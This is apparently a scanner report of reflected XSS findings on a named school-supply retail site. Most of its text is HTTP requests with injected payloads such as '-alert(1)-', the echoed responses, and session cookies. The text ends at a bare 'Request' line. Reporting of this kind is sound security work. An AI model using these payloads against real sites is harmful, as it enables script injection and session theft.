<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... > function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Community/Grants.aspxa1a95';cc2001d23e4'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.13. http://www.discountschoolsupply.com/Community/Grants.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Community/Grants.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fdd00'-alert(1)-'75ea087f5a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Community/Grants.aspx?fdd00'-alert(1)-'75ea087f5a0=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 122318
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Community/Grants.aspx?fdd00'-alert(1)-'75ea087f5a0=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fbd64'%3b161e53f78eb was submitted in the REST URL parameter 1. This input was echoed as fbd64';161e53f78eb in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Communityfbd64'%3b161e53f78eb/Landing.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:39:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123583
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Communityfbd64';161e53f78eb/Landing.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { h ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec040'%3b851a6e2841f was submitted in the REST URL parameter 2. This input was echoed as ec040';851a6e2841f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Community/Landing.aspxec040'%3b851a6e2841f HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]...
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.16. http://www.discountschoolsupply.com/Community/Landing.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Community/Landing.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8d1a'-alert(1)-'8e66445c31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Community/Landing.aspx?b8d1a'-alert(1)-'8e66445c31=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 134904
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80bcd'%3b394c4085b74 was submitted in the REST URL parameter 1. This input was echoed as 80bcd';394c4085b74 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Default.aspx80bcd'%3b394c4085b74 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:40:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123627
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... vascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Default.aspx80bcd';394c4085b74'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.18. http://www.discountschoolsupply.com/Default.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Default.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a839'-alert(1)-'e38d2653bfc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Default.aspx?3a839'-alert(1)-'e38d2653bfc=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 155109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply ... ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Default.aspx?3a839'-alert(1)-'e38d2653bfc=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15cc4'%3b57c22af8c6f was submitted in the REST URL parameter 1. This input was echoed as 15cc4';57c22af8c6f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help15cc4'%3b57c22af8c6f/HelpFAQListing.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Help15cc4';57c22af8c6f/HelpFAQListing.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd403'%3b8c1a126d2e4 was submitted in the REST URL parameter 2. This input was echoed as fd403';8c1a126d2e4 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help/HelpFAQListing.aspxfd403'%3b8c1a126d2e4 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:40:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 117960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Help/HelpFAQListing.aspxfd403';8c1a126d2e4'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.21. http://www.discountschoolsupply.com/Help/HelpFAQListing.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Help/HelpFAQListing.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68278'-alert(1)-'c9515ad88f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help/HelpFAQListing.aspx?68278'-alert(1)-'c9515ad88f7=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:01:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 115446
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Help/HelpFAQListing.aspx?68278'-alert(1)-'c9515ad88f7=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10522'%3b920dd734247 was submitted in the REST URL parameter 1. This input was echoed as 10522';920dd734247 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help10522'%3b920dd734247/HelpFAQTopic.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Help10522';920dd734247/HelpFAQTopic.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 705b5'%3be8881caa10b was submitted in the REST URL parameter 2. This input was echoed as 705b5';e8881caa10b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help/HelpFAQTopic.aspx705b5'%3be8881caa10b HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]...
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.24. http://www.discountschoolsupply.com/Help/HelpFAQTopic.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Help/HelpFAQTopic.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4404f'-alert(1)-'9916c7ea681 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help/HelpFAQTopic.aspx?4404f'-alert(1)-'9916c7ea681=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 154572
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Help/HelpFAQTopic.aspx?4404f'-alert(1)-'9916c7ea681=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73f80'%3bc08c41b6d15 was submitted in the REST URL parameter 1. This input was echoed as 73f80';c08c41b6d15 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
